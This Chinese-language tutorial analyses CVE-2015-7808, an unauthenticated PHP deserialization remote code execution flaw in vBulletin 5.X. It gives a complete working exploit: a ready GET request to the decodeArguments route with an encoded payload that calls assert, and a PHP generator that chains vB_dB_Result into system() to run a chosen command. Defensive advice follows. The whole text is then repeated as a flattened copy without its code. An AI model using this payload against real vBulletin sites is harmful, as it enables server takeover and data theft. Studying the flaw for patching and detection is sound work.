vBulletin5.X前台RCE分析(CVE-2015-7808)
字数 1242 2025-08-26 22:11:22

vBulletin 5.X 前台 RCE 漏洞分析 (CVE-2015-7808) 教学文档

漏洞概述

CVE-2015-7808 是 vBulletin 5.X 版本中存在的一个远程代码执行漏洞,通过反序列化攻击链实现前台代码执行。该漏洞允许攻击者在无需认证的情况下,通过精心构造的序列化数据执行任意 PHP 代码。

环境要求

  • 操作系统:Ubuntu 16.04
  • Web 服务器:Apache
  • PHP 版本:5.6.40
  • vBulletin 版本:5.1.4

漏洞分析

漏洞入口

漏洞触发点位于 /vBulletin/ajax/api/hook/decodeArguments 路由,通过 arguments 参数传递恶意序列化数据:

GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D

攻击流程

  1. 路由处理

    • 请求被 vB5_Frontend_ApplicationLight 类的 execute 方法处理
    • 根据 $_REQUEST['routestring'] 调用 handleAjaxApi 方法
  2. 反序列化触发

    • 最终调用 vB_Api_Hook 类的 decodeArguments 方法
    • arguments 参数进行反序列化操作
  3. 攻击链构造

    • 反序列化时实例化 vB_dB_Result
    • 对该对象进行迭代时触发 rewind 方法
    • rewind 方法调用 $this->db->free_result($this->recordset)
    • free_result 方法动态调用函数,参数可控

关键类分析

  1. vB_dB_Result 类

    class vB_dB_Result {
        protected $db;
        protected $recordset;
    
        public function rewind() {
            if ($this->recordset) {
                $this->db->free_result($this->recordset);
            }
        }
    }
    
  2. vB_Database_MySQL 类

    class vB_Database_MySQL {
        protected $functions = array();
    
        public function free_result($queryresult) {
            $function = $this->functions['free_result'];
            return $function($queryresult);
        }
    }
    

漏洞利用

EXP 构造

<?php

class vB_Database_MySQLi {
    var $functions = array();
    public function __construct($functions = '') {
        $this->functions['free_result'] = $functions;
    }
}

class vB_dB_Result {
    protected $db = false;
    protected $recordset = false;
    public function __construct($db='', $recordset='') {
        $this->db = $db;
        $this->recordset = $recordset;
    }
}

$vb_database_mysqli = new vB_Database_MySQLi('system');
$vb_db_result = new vB_dB_Result($vb_database_mysqli, 'id');
echo urlencode(serialize($vb_db_result));

攻击步骤

  1. 构造恶意序列化对象:

    • 创建 vB_Database_MySQLi 实例,设置 free_result 为要执行的函数名(如 system
    • 创建 vB_dB_Result 实例,设置 db 为上面的实例,recordset 为要执行的命令
  2. URL 编码序列化后的字符串

  3. 发送 GET 请求到 /vBulletin/ajax/api/hook/decodeArguments,参数为编码后的序列化字符串

防御措施

  1. 升级 vBulletin:应用官方补丁
  2. 输入验证:对反序列化的数据进行严格验证
  3. 禁用危险函数:禁用 unserialize 或限制其使用
  4. 使用白名单:反序列化时使用类白名单机制
  5. 日志监控:监控可疑的反序列化操作

参考链接

  1. vBulletin 5 全版本远程代码执行漏洞分析
  2. Check Point Discovers Critical vBulletin 0-Day

总结

CVE-2015-7808 是一个典型的反序列化漏洞,通过精心构造的序列化数据触发对象的方法调用链,最终实现任意代码执行。理解该漏洞有助于开发者更好地防范类似安全问题,特别是在处理用户可控的反序列化数据时。

vBulletin 5.X 前台 RCE 漏洞分析 (CVE-2015-7808) 教学文档 漏洞概述 CVE-2015-7808 是 vBulletin 5.X 版本中存在的一个远程代码执行漏洞,通过反序列化攻击链实现前台代码执行。该漏洞允许攻击者在无需认证的情况下,通过精心构造的序列化数据执行任意 PHP 代码。 环境要求 操作系统:Ubuntu 16.04 Web 服务器:Apache PHP 版本:5.6.40 vBulletin 版本:5.1.4 漏洞分析 漏洞入口 漏洞触发点位于 /vBulletin/ajax/api/hook/decodeArguments 路由,通过 arguments 参数传递恶意序列化数据: 攻击流程 路由处理 : 请求被 vB5_Frontend_ApplicationLight 类的 execute 方法处理 根据 $_REQUEST['routestring'] 调用 handleAjaxApi 方法 反序列化触发 : 最终调用 vB_Api_Hook 类的 decodeArguments 方法 对 arguments 参数进行反序列化操作 攻击链构造 : 反序列化时实例化 vB_dB_Result 类 对该对象进行迭代时触发 rewind 方法 rewind 方法调用 $this->db->free_result($this->recordset) free_result 方法动态调用函数,参数可控 关键类分析 vB_ dB_ Result 类 : vB_ Database_ MySQL 类 : 漏洞利用 EXP 构造 攻击步骤 构造恶意序列化对象: 创建 vB_Database_MySQLi 实例,设置 free_result 为要执行的函数名(如 system ) 创建 vB_dB_Result 实例,设置 db 为上面的实例, recordset 为要执行的命令 URL 编码序列化后的字符串 发送 GET 请求到 /vBulletin/ajax/api/hook/decodeArguments ,参数为编码后的序列化字符串 防御措施 升级 vBulletin :应用官方补丁 输入验证 :对反序列化的数据进行严格验证 禁用危险函数 :禁用 unserialize 或限制其使用 使用白名单 :反序列化时使用类白名单机制 日志监控 :监控可疑的反序列化操作 参考链接 vBulletin 5 全版本远程代码执行漏洞分析 Check Point Discovers Critical vBulletin 0-Day 总结 CVE-2015-7808 是一个典型的反序列化漏洞,通过精心构造的序列化数据触发对象的方法调用链,最终实现任意代码执行。理解该漏洞有助于开发者更好地防范类似安全问题,特别是在处理用户可控的反序列化数据时。